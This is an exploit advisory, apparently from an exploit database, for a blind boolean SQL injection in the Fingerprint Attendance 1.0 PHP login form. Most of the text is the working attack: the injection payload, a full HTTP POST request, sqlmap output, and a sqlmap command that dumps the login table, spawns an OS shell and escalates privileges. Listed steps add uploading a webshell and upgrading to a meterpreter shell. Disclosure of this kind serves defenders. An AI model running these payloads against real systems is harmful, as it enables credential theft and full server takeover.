Fingerprint Attendance version 1.0 suffers from a remote SQL injection vulnerability.
7fca919d5f491a3255c76c496621dd08# Title: Fingerprint Attendance 1.0 Blind boolean SQLi To Rce
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/
# Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
# Steps
# 1.- Go to : https://0day.gov/fingerprint/login.php
# 2 - manual inject Blind SQli Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell
#vulnerability Code php
---
```
$user = $_POST['username'];
$pass = sha1($_POST['password']);
$passwrong = false;
if(isSet($_POST["button"]))
switch($_POST["button"]){
case "Login" :
$passwrong = login($con, $user, $pass); //echo "Login";
break;
} // ----------------- Inside if(isSet($_POST["button"]))----------------
```
---
#Status: CRITICAL
[+] Payload GET
---
POST /fingerprint/src/ HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/fingerprint/src/
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1
username=hejap'+OR+NOT+8425=8425#&password=hejap&button=Login
---
```
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login
---
```
#Blind SQLi Time to Rce
#ُExploit
sqlmap -r 0day_Hejap.txt -p username
' --hex --dbms=mysql --technique=b --random-agent --eta -D ad_39 -T login --dump --os-shell --priv-esc --forms --eta
# Description:
The Blind boolean SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc
# Proof and Exploit:
https://i.imgur.com/uYBA1C3.png
https://i.imgur.com/nQFdjNu.png